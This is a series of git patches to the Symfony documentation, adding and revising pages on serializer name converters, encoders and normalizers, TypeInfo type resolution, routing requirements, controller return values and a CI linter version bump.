+    use Symfony\Component\Serializer\NameConverter\NameConverterInterface;
+
+    class OrgPrefixNameConverter implements NameConverterInterface
+    {
+        public function normalize(string $propertyName): string
+        {
+            // during normalization, add the prefix
+            return 'org_'.$propertyName;
+        }
+
+        public function denormalize(string $propertyName): string
+        {
+            // remove the 'org_' prefix on denormalizing
+            return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName;
+        }
+    }
+
+.. note::
+
+    You can also implement
+    :class:`Symfony\\Component\\Serializer\\NameConverter\\AdvancedNameConverterInterface`
+    to access the current class name, format and context.
+
+Then, configure the serializer to use your name converter:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                # pass the service ID of your name converter
+                name_converter: 'App\Serializer\OrgPrefixNameConverter'
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- pass the service ID of your name converter -->
+                <framework:serializer
+                    name-converter="App\Serializer\OrgPrefixNameConverter"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use App\Serializer\OrgPrefixNameConverter;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->serializer()
+                // pass the service ID of your name converter
+                ->nameConverter(OrgPrefixNameConverter::class)
+            ;
+        };
+
+Now, when using the serializer in the application, all attributes will be
+prefixed by ``org_``::
+
+    // ...
+    $company = new Company('Acme Inc.', '123 Main Street, Big City');
+
+    $json = $serializer->serialize($company, 'json');
+    // {"org_name": "Acme Inc.", "org_address": "123 Main Street, Big City"}
+    $companyCopy = $serializer->deserialize($json, Company::class, 'json');
+    // Same data as $company
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 3d2e7cd2a7e..276c618b8ac 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -1,10 +1,11 @@
 How to Create your Custom Normalizer
 ====================================
 
-The :doc:`Serializer component </components/serializer>` uses
-normalizers to transform any data into an array. The component provides several
-:ref:`built-in normalizers <component-serializer-normalizers>` but you may need to create
-your own normalizer to transform an unsupported data structure.
+The :doc:`Serializer component </serializer>` uses normalizers to transform
+any data into an array. The component provides several
+ref:`built-in normalizers <serializer-built-in-normalizers>` but you may
+need to create your own normalizer to transform an unsupported data
+structure.
 
 Creating a New Normalizer
 -------------------------
@@ -67,6 +68,63 @@ a service and :doc:`tagged </service_container/tags>` with ``serializer.normaliz
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is done automatically!
 
+If you're not using ``autoconfigure``, you have to tag the service with
+``serializer.normalizer``. You can also use this method to set a priority
+(higher means it's called earlier in the process):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            App\Serializer\TopicNormalizer:
+                tags:
+                    # register the normalizer with a high priority (called earlier)
+                    - { name: 'serializer.normalizer', priority: 500 }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="App\Serializer\TopicNormalizer">
+                    <!-- register the normalizer with a high priority (called earlier) -->
+                    <tag name="serializer.normalizer"
+                        priority="500"
+                    />
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Serializer\TopicNormalizer;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            // if you're using autoconfigure, the tag will be automatically applied
+            $services->set(TopicNormalizer::class)
+                // register the normalizer with a high priority (called earlier)
+                ->tag('serializer.normalizer', [
+                    'priority' => 500,
+                ])
+            ;
+        };
+
 Performance
 -----------
 
@@ -90,7 +148,7 @@ is called.
 
 .. note::
 
-    All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
+    All built-in :ref:`normalizers and denormalizers <serializer-built-in-normalizers>`
     as well the ones included in `API Platform`_ natively implement this interface.
 
 .. deprecated:: 6.3
diff --git a/serializer/encoders.rst b/serializer/encoders.rst
new file mode 100644
index 00000000000..c8bddc604ba
--- /dev/null
+++ b/serializer/encoders.rst
@@ -0,0 +1,371 @@
+Serializer Encoders
+===================
+
+The Serializer component provides several built-in encoders:
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
+    This class encodes and decodes data in `JSON`_.
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
+    This class encodes and decodes data in `XML`_.
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
+    This encoder encodes and decodes data in `YAML`_. This encoder requires the
+    :doc:`Yaml Component </components/yaml>`.
+
+:class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
+    This encoder encodes and decodes data in `CSV`_.
+
+.. note::
+
+    You can also create your own encoder to use another structure. Read more at
+    :ref:`Creating a Custom Encoder <serializer-custom-encoder>` below.
+
+All these encoders are enabled by default when using the Serializer component
+in a Symfony application.
+
+The ``JsonEncoder``
+-------------------
+
+The ``JsonEncoder`` encodes to and decodes from JSON strings, based on the PHP
+:phpfunction:`json_encode` and :phpfunction:`json_decode` functions.
+
+It can be useful to modify how these functions operate in certain instances
+by providing options such as ``JSON_PRESERVE_ZERO_FRACTION``. You can use
+the serialization context to pass in these options using the key
+``json_encode_options`` or ``json_decode_options`` respectively::
+
+    $this->serializer->serialize($data, 'json', [
+        'json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION,
+    ]);
+
+All context options available for the JSON encoder are:
+
+``json_decode_associative`` (default: ``false``)
+    If set to ``true`` returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise.
+``json_decode_detailed_errors`` (default: ``false``)
+    If set to ``true`` exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package.
+
+    .. versionadded:: 6.4
+
+        The ``json_decode_detailed_errors`` option was introduced in Symfony 6.4.
+``json_decode_options`` (default: ``0``)
+    Flags passed to :phpfunction:`json_decode` function.
+``json_encode_options`` (default: ``\JSON_PRESERVE_ZERO_FRACTION``)
+    Flags passed to :phpfunction:`json_encode` function.
+``json_decode_recursion_depth`` (default: ``512``)
+    Sets maximum recursion depth.
+
+The ``CsvEncoder``
+------------------
+
+The ``CsvEncoder`` encodes to and decodes from CSV. Serveral :ref:`context options <serializer-context>`
+are available to customize the behavior of the encoder:
+
+``csv_delimiter`` (default: ``,``)
+    Sets the field delimiter separating values (one character only).
+``csv_enclosure`` (default: ``"``)
+    Sets the field enclosure (one character only).
+``csv_end_of_line`` (default: ``\n``)
+    Sets the character(s) used to mark the end of each line in the CSV file.
+``csv_escape_char`` (default: empty string)
+    Sets the escape character (at most one character).
+``csv_key_separator`` (default: ``.``)
+    Sets the separator for array's keys during its flattening
+``csv_headers`` (default: ``[]``, inferred from input data's keys)
+    Sets the order of the header and data columns.
+    E.g. if you set it to ``['a', 'b', 'c']`` and serialize
+    ``['c' => 3, 'a' => 1, 'b' => 2]``, the order will be ``a,b,c`` instead
+    of the input order (``c,a,b``).
+``csv_escape_formulas`` (default: ``false``)
+    Escapes fields containing formulas by prepending them with a ``\t`` character.
+``as_collection`` (default: ``true``)
+    Always returns results as a collection, even if only one line is decoded.
+``no_headers`` (default: ``false``)
+    Setting to ``false`` will use first row as headers when denormalizing,
+    ``true`` generates numeric headers.
+``output_utf8_bom`` (default: ``false``)
+    Outputs special `UTF-8 BOM`_ along with encoded data.
+
+The ``XmlEncoder``
+------------------
+
+This encoder transforms PHP values into XML and vice versa.
+
+For example, take an object that is normalized as following::
+
+    $normalizedArray = ['foo' => [1, 2], 'bar' => true];
+
+The ``XmlEncoder`` will encode this object like:
+
+.. code-block:: xml
+
+    <?xml version="1.0" encoding="UTF-8" ?>
+    <response>
+        <foo>1</foo>
+        <foo>2</foo>
+        <bar>1</bar>
+    </response>
+
+The special ``#`` key can be used to define the data of a node::
+
+    ['foo' => ['@bar' => 'value', '#' => 'baz']];
+
+    /* is encoded as follows:
+       <?xml version="1.0"?>
+       <response>
+           <foo bar="value">
+              baz
+           </foo>
+       </response>
+     */
+
+Furthermore, keys beginning with ``@`` will be considered attributes, and
+the key  ``#comment`` can be used for encoding XML comments::
+
+    $encoder = new XmlEncoder();
+    $xml = $encoder->encode([
+        'foo' => ['@bar' => 'value'],
+        'qux' => ['#comment' => 'A comment'],
+    ], 'xml');
+    /* will return:
+       <?xml version="1.0"?>
+       <response>
+           <foo bar="value"/>
+           <qux><!-- A comment --!><qux>
+       </response>
+     */
+
+You can pass the context key ``as_collection`` in order to have the results
+always as a collection.
+
+.. note::
+
+    You may need to add some attributes on the root node::
+
+        $encoder = new XmlEncoder();
+        $encoder->encode([
+            '@attribute1' => 'foo',
+            '@attribute2' => 'bar',
+            '#' => ['foo' => ['@bar' => 'value', '#' => 'baz']]
+        ], 'xml');
+
+        // will return:
+        // <?xml version="1.0"?>
+        // <response attribute1="foo" attribute2="bar">
+        // <foo bar="value">baz</foo>
+        // </response>
+
+.. tip::
+
+    XML comments are ignored by default when decoding contents, but this
+    behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``.
+
+    Data with ``#comment`` keys are encoded to XML comments by default. This can be
+    changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES``
+    key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or
+    directly to the ``$context`` argument of the ``encode()`` method::
+
+        $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
+
+The ``XmlEncoder`` Context Options
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+These are the options available on the :ref:`serializer context <serializer-context>`:
+
+``xml_format_output`` (default: ``false``)
+    If set to true, formats the generated XML with line breaks and indentation.
+``xml_version`` (default: ``1.0``)
+    Sets the XML version attribute.
+``xml_encoding`` (default: ``utf-8``)
+    Sets the XML encoding attribute.
+``xml_standalone`` (default: ``true``)
+    Adds standalone attribute in the generated XML.
+``xml_type_cast_attributes`` (default: ``true``)
+    This provides the ability to forget the attribute type casting.
+``xml_root_node_name`` (default: ``response``)
+    Sets the root node name.
+``as_collection`` (default: ``false``)
+    Always returns results as a collection, even if only one line is decoded.
+``decoder_ignored_node_types`` (default: ``[\XML_PI_NODE, \XML_COMMENT_NODE]``)
+    Array of node types (`DOM XML_* constants`_) to be ignored while decoding.
+``encoder_ignored_node_types`` (default: ``[]``)
+    Array of node types (`DOM XML_* constants`_) to be ignored while encoding.
+``load_options`` (default: ``\LIBXML_NONET | \LIBXML_NOBLANKS``)
+    XML loading `options with libxml`_.
+``save_options`` (default: ``0``)
+    XML saving `options with libxml`_.
+
+    .. versionadded:: 6.3
+
+        The ``save_options`` option was introduced in Symfony 6.3.
+``remove_empty_tags`` (default: ``false``)
+    If set to ``true``, removes all empty tags in the generated XML.
+``cdata_wrapping`` (default: ``true``)
+    If set to ``false``, will not wrap any value containing one of the
+    following characters ( ``<``, ``>``, ``&``) in `a CDATA section`_ like
+    following: ``<![CDATA[...]]>``.
+
+    .. versionadded:: 6.4
+
+        The ``cdata_wrapping`` option was introduced in Symfony 6.4.
+
+Example with a custom ``context``::
+
+    use Symfony\Component\Serializer\Encoder\XmlEncoder;
+
+    $data = [
+        'id' => 'IDHNQIItNyQ',
+        'date' => '2019-10-24',
+    ];
+
+    $xmlEncoder->encode($data, 'xml', ['xml_format_output' => true]);
+    // outputs:
+    // <?xml version="1.0"?>
+    // <response>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </response>
+
+    $xmlEncoder->encode($data, 'xml', [
+        'xml_format_output' => true,
+        'xml_root_node_name' => 'track',
+        'encoder_ignored_node_types' => [
+            \XML_PI_NODE, // removes XML declaration (the leading xml tag)
+        ],
+    ]);
+    // outputs:
+    // <track>
+    //   <id>IDHNQIItNyQ</id>
+    //   <date>2019-10-24</date>
+    // </track>
+
+The ``YamlEncoder``
+-------------------
+
+This encoder requires the :doc:`Yaml Component </components/yaml>` and
+transforms from and to Yaml.
+
+Like other encoder, several :ref:`context options <serializer-context>` are
+available:
+
+``yaml_inline`` (default: ``0``)
+    The level where you switch to inline YAML.
+``yaml_indent`` (default: ``0``)
+    The level of indentation (used internally).
+``yaml_flags`` (default: ``0``)
+    A bit field of ``Yaml::DUMP_*``/``Yaml::PARSE_*`` constants to
+    customize the encoding/decoding YAML string.
+
+.. _serializer-custom-encoder:
+
+Creating a Custom Encoder
+-------------------------
+
+Imagine you want to serialize and deserialize `NEON`_. For that you'll have to
+create your own encoder::
+
+    // src/Serializer/YamlEncoder.php
+    namespace App\Serializer;
+
+    use Nette\Neon\Neon;
+    use Symfony\Component\Serializer\Encoder\DecoderInterface;
+    use Symfony\Component\Serializer\Encoder\EncoderInterface;
+
+    class NeonEncoder implements EncoderInterface, DecoderInterface
+    {
+        public function encode($data, string $format, array $context = [])
+        {
+            return Neon::encode($data);
+        }
+
+        public function supportsEncoding(string $format)
+        {
+            return 'neon' === $format;
+        }
+
+        public function decode(string $data, string $format, array $context = [])
+        {
+            return Neon::decode($data);
+        }
+
+        public function supportsDecoding(string $format)
+        {
+            return 'neon' === $format;
+        }
+    }
+
+.. tip::
+
+    If you need access to ``$context`` in your ``supportsDecoding`` or
+    ``supportsEncoding`` method, make sure to implement
+    ``Symfony\Component\Serializer\Encoder\ContextAwareDecoderInterface``
+    or ``Symfony\Component\Serializer\Encoder\ContextAwareEncoderInterface`` accordingly.
+
+Registering it in Your App
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you use the Symfony Framework, then you probably want to register this encoder
+as a service in your app. If you're using the
+:ref:`default services.yaml configuration <service-container-services-load-example>`,
+that's done automatically!
+
+If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure
+to register your class as a service and tag it with ``serializer.encoder``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            App\Serializer\NeonEncoder:
+                tags: ['serializer.encoder']
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="App\Serializer\NeonEncoder">
+                    <tag name="serializer.encoder"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Serializer\NeonEncoder;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            $services->set(NeonEncoder::class)
+                ->tag('serializer.encoder')
+            ;
+        };
+
+Now you'll be able to serialize and deserialize NEON!
+
+.. _JSON: https://www.json.org/json-en.html
+.. _XML: https://www.w3.org/XML/
+.. _YAML: https://yaml.org/
+.. _CSV: https://tools.ietf.org/html/rfc4180
+.. _seld/jsonlint: https://github.com/Seldaek/jsonlint
+.. _`UTF-8 BOM`: https://en.wikipedia.org/wiki/Byte_order_mark
+.. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php
+.. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
+.. _`a CDATA section`: https://en.wikipedia.org/wiki/CDATA
+.. _NEON: https://ne-on.org/

From 2f8a9d656df47bbe5cdd25094ffb183af8aba376 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 23 Nov 2024 18:00:57 +0100
Subject: [PATCH 6512/7107] Syntax fixes

---
 serializer.rst                   | 2 +-
 serializer/custom_normalizer.rst | 1 +
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 6a12f689512..648b44670f1 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1266,7 +1266,7 @@ normalizers (in order of priority):
 
     :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings,
     integers or floats. By default, it converts them to strings using the
-    `RFC3339`_ format. Use ``DateTimeNormalizer::FORMAT_KEY`` and
+    `RFC 3339`_ format. Use ``DateTimeNormalizer::FORMAT_KEY`` and
     ``DateTimeNormalizer::TIMEZONE_KEY`` to change the format.
 
     To convert the objects to integers or floats, set the serializer
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 26eacdeba0b..10092c6baa7 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -76,6 +76,7 @@ If you're not using ``autoconfigure``, you have to tag the service with
 .. configuration-block::
 
     .. code-block:: yaml
+
         # config/services.yaml
         services:
             # ...

From 337b5974e08ee43012ccd3ec6174f35409ccea41 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 23 Nov 2024 18:03:07 +0100
Subject: [PATCH 6513/7107] More syntax fixes

---
 serializer/encoders.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/encoders.rst b/serializer/encoders.rst
index 65eece78031..003eb4523fe 100644
--- a/serializer/encoders.rst
+++ b/serializer/encoders.rst
@@ -65,7 +65,7 @@ are available to customize the behavior of the encoder:
 ``csv_end_of_line`` (default: ``\n``)
     Sets the character(s) used to mark the end of each line in the CSV file.
 ``csv_escape_char`` (default: empty string)
-    .. deprecated::
+    .. deprecated:: 7.2
 
         The ``csv_escape_char`` option was deprecated in Symfony 7.2.
 

From dc999f33194b22851c44ba6147833b1e8003bc8f Mon Sep 17 00:00:00 2001
From: Baptiste Leduc <baptiste.leduc@gmail.com>
Date: Fri, 15 Nov 2024 10:20:18 +0100
Subject: [PATCH 6514/7107] Add more details to TypeInfo documentation

---
 components/type_info.rst | 100 +++++++++++++++++++++++++++++++++++++--
 1 file changed, 97 insertions(+), 3 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index bbc7d0ea8dc..18556e02972 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -40,12 +40,24 @@ to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
     // Many others are available and can be
     // found in Symfony\Component\TypeInfo\TypeFactoryTrait
 
+Resolvers
+~~~~~~~~~
+
 The second way of using the component is to use ``TypeInfo`` to resolve a type
-based on reflection or a simple string::
+based on reflection or a simple string, this is aimed towards libraries that wants to
+describe a class or anything that has a type easily::
 
     use Symfony\Component\TypeInfo\Type;
     use Symfony\Component\TypeInfo\TypeResolver\TypeResolver;
 
+    class Dummy
+    {
+        public function __construct(
+            public int $id,
+        ) {
+        }
+    }
+
     // Instantiate a new resolver
     $typeResolver = TypeResolver::create();
 
@@ -70,6 +82,88 @@ Each of these calls will return you a ``Type`` instance that corresponds to the
 static method used. You can also resolve types from a string (as shown in the
 ``bool`` parameter of the previous example)
 
-.. note::
+PHPDoc parsing
+~~~~~~~~~~~~~~
 
-    To support raw string resolving, you need to install ``phpstan/phpdoc-parser`` package.
+But most times you won't have clean typed properties or you want a more precise type
+thank to advanced PHPDoc, to do that you would want a string resolver based on that PHPDoc.
+First you will require ``phpstan/phpdoc-parser`` package from composer to support string
+revolving. Then you would do as following::
+
+    use Symfony\Component\TypeInfo\TypeResolver\TypeResolver;
+
+    class Dummy
+    {
+        public function __construct(
+            public int $id,
+            /** @var string[] $tags */
+            public array $tags,
+        ) {
+        }
+    }
+
+    $typeResolver = TypeResolver::create();
+    $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns an "int" Type
+    $typeResolver->resolve(new \ReflectionProperty(Dummy::class, 'id')); // returns a collection with "int" as key and "string" as values Type
+
+Advanced usages
+~~~~~~~~~~~~~~~
+
+There is many methods to manipulate and check types depending on your needs within the TypeInfo components.
+
+If you need a check a simple Type::
+
+    // You need to check if a Type
+    $type = Type::int(); // with a simple int type
+    // You can check if a given type comply with a given identifier
+    $type->isIdentifiedBy(TypeIdentifier::INT); // true
+    $type->isIdentifiedBy(TypeIdentifier::STRING); // false
+
+    $type = Type::union(Type::string(), Type::int()); // with an union of int and string types
+    // You can now see that the second check will pass to true since we have an union with a string type
+    $type->isIdentifiedBy(TypeIdentifier::INT); // true
+    $type->isIdentifiedBy(TypeIdentifier::STRING); // true
+
+    class DummyParent {}
+    class Dummy extends DummyParent implements DummyInterface {}
+    $type = Type::object(Dummy::class); // with an object Type
+    // You can check is the Type is an object, or even if it's a given class
+    $type->isIdentifiedBy(TypeIdentifier::OBJECT); // true
+    $type->isIdentifiedBy(Dummy::class); // true
+    // Or inherits/implements something
+    $type->isIdentifiedBy(DummyParent::class); // true
+    $type->isIdentifiedBy(DummyInterface::class); // true
+
+Sometimes you want to check for more than one thing at a time so a callable may be better to check everything::
+
+    class Foo
+    {
+        private int $integer;
+        private string $string;
+        private ?float $float;
+    }
+
+    $reflClass = new \ReflectionClass(Foo::class);
+
+    $resolver = TypeResolver::create();
+    $integerType = $resolver->resolve($reflClass->getProperty('integer'));
+    $stringType = $resolver->resolve($reflClass->getProperty('string'));
+    $floatType = $resolver->resolve($reflClass->getProperty('float'));
+
+    // your callable to check whatever you need
+    // here we want to validate a given type is a non nullable number
+    $isNonNullableNumber = function (Type $type): bool {
+        if ($type->isNullable()) {
+            return false;
+        }
+
+        if ($type->isIdentifiedBy(TypeIdentifier::INT) || $type->isIdentifiedBy(TypeIdentifier::FLOAT)) {
+            return true;
+        }
+
+        return false;
+    };
+
+    $integerType->isSatisfiedBy($isNonNullableNumber); // true
+    $stringType->isSatisfiedBy($isNonNullableNumber); // false
+    $floatType->isSatisfiedBy($isNonNullableNumber); // false

From a51974c18e96fdf1e5fab687a3515dd53cb689f5 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 24 Nov 2024 12:17:56 +0100
Subject: [PATCH 6515/7107] Replace annotation to attribute in form unit
 testing comment

---
 form/unit_testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 8c005ba5ea9..ea11e947fde 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -214,7 +214,7 @@ allows you to return a list of extensions to register::
         {
             $validator = Validation::createValidator();
 
-            // or if you also need to read constraints from annotations
+            // or if you also need to read constraints from attributes
             $validator = Validation::createValidatorBuilder()
                 ->enableAttributeMapping()
                 ->getValidator();

From ebfa5e2d83e4693aeebe68223ec892ad0a6aac6f Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 24 Nov 2024 12:43:10 +0100
Subject: [PATCH 6516/7107] [Routing] Add example of Requirement enum

---
 routing.rst | 45 +++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 45 insertions(+)

diff --git a/routing.rst b/routing.rst
index e2ca7f1a1fe..721a28e3db2 100644
--- a/routing.rst
+++ b/routing.rst
@@ -666,6 +666,51 @@ URL                       Route          Parameters
     contains a collection of commonly used regular-expression constants such as
     digits, dates and UUIDs which can be used as route parameter requirements.
 
+    .. configuration-block::
+
+        .. code-block:: php-attributes
+
+            // src/Controller/BlogController.php
+            namespace App\Controller;
+
+            use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+            use Symfony\Component\HttpFoundation\Response;
+            use Symfony\Component\Routing\Attribute\Route;
+            use Symfony\Component\Routing\Requirement\Requirement;
+
+            class BlogController extends AbstractController
+            {
+                #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => Requirement::DIGITS])]
+                public function list(int $page): Response
+                {
+                    // ...
+                }
+            }
+
+        .. code-block:: yaml
+
+            # config/routes.yaml
+            blog_list:
+                path:       /blog/{page}
+                controller: App\Controller\BlogController::list
+                requirements:
+                    page: !php/const Symfony\Component\Routing\Requirement\Requirement::DIGITS
+
+        .. code-block:: php
+
+            // config/routes.php
+            use App\Controller\BlogController;
+            use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+            use Symfony\Component\Routing\Requirement\Requirement;
+
+            return static function (RoutingConfigurator $routes): void {
+                $routes->add('blog_list', '/blog/{page}')
+                    ->controller([BlogController::class, 'list'])
+                    ->requirements(['page' => Requirement::DIGITS])
+                ;
+                // ...
+            };
+
     .. versionadded:: 6.1
 
         The ``Requirement`` enum was introduced in Symfony 6.1.

From 42b4c95c3ae2d4b0b9153ae4a099dddf292bba1e Mon Sep 17 00:00:00 2001
From: Florian Merle <florian.david.merle@gmail.com>
Date: Tue, 26 Nov 2024 13:29:39 +0100
Subject: [PATCH 6517/7107] update controller return value doc

---
 controller.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index d4f7f99d43d..40e47dbbedf 100644
--- a/controller.rst
+++ b/controller.rst
@@ -447,7 +447,7 @@ and provides methods for getting and setting response headers. The header names
 normalized. As a result, the name ``Content-Type`` is equivalent to
 the name ``content-type`` or ``content_type``.
 
-In Symfony, a controller is required to return a ``Response`` object::
+In Symfony, a controller usually returns a ``Response`` object::
 
     use Symfony\Component\HttpFoundation\Response;
 
@@ -463,6 +463,14 @@ response types.  Some of these are mentioned below. To learn more about the
 ``Request`` and ``Response`` (and different ``Response`` classes), see the
 :ref:`HttpFoundation component documentation <component-http-foundation-request>`.
 
+.. note::
+
+    When a controller returns a non-``Response`` object, a ``kernel.view``
+    listener is expected to transform it into a ``Response`` object;
+    otherwise an exception is thrown.
+
+    See :ref:`kernel.view event <component-http-kernel-kernel-view>` for details on the ``kernel.view`` event.
+
 Accessing Configuration Values
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From d019fc476beba1749f2526688937b4fca63dd852 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Nov 2024 17:53:04 +0100
Subject: [PATCH 6518/7107] Reword

---
 controller.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/controller.rst b/controller.rst
index 40e47dbbedf..01bf572d9a2 100644
--- a/controller.rst
+++ b/controller.rst
@@ -447,7 +447,7 @@ and provides methods for getting and setting response headers. The header names
 normalized. As a result, the name ``Content-Type`` is equivalent to
 the name ``content-type`` or ``content_type``.
 
-In Symfony, a controller usually returns a ``Response`` object::
+In Symfony, a controller is required to return a ``Response`` object::
 
     use Symfony\Component\HttpFoundation\Response;
 
@@ -465,11 +465,11 @@ response types.  Some of these are mentioned below. To learn more about the
 
 .. note::
 
-    When a controller returns a non-``Response`` object, a ``kernel.view``
-    listener is expected to transform it into a ``Response`` object;
-    otherwise an exception is thrown.
-
-    See :ref:`kernel.view event <component-http-kernel-kernel-view>` for details on the ``kernel.view`` event.
+    Technically, a controller can return a value other than a ``Response``.
+    However, your application is responsible for transforming that value into a
+    ``Response`` object. This is handled using :doc:`events </event_dispatcher>`
+    (specifically the :ref:`kernel.view event <component-http-kernel-kernel-view>`),
+    an advanced feature you'll learn about later.
 
 Accessing Configuration Values
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From ee3ec5faf3355320d68ca53180a108b30804b34c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 26 Nov 2024 21:03:03 +0100
Subject: [PATCH 6519/7107] Update DOCtor-RST to 1.63.0

---
 .doctor-rst.yaml          | 1 +
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 4f07d84cd25..c7a17edd06c 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -50,6 +50,7 @@ rules:
     no_namespace_after_use_statements: ~
     no_php_open_tag_in_code_block_php_directive: ~
     no_space_before_self_xml_closing_tag: ~
+    non_static_phpunit_assertions: ~
     only_backslashes_in_namespace_in_php_code_block: ~
     only_backslashes_in_use_statements_in_php_code_block: ~
     ordered_use_statements: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 2d35b7df806..4d67a5c084c 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.62.3
+                uses: docker://oskarstark/doctor-rst:1.63.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 1c2664fc6af40ec895cfc9192b368faa767b0bdb Mon Sep 17 00:00:00 2001
From: Ejamine <101939470+Ejamine@users.noreply.github.com>
Date: Tue, 26 Nov 2024 22:35:35 +0100
Subject: [PATCH 6520/7107] Update http_client.rst

Testing Using HAR Files/ExternalArticleServiceTest should extend from Symfony\Bundle\FrameworkBundle\Test\KernelTestCase to access the container parameter.
---
 http_client.rst | 4 ++--
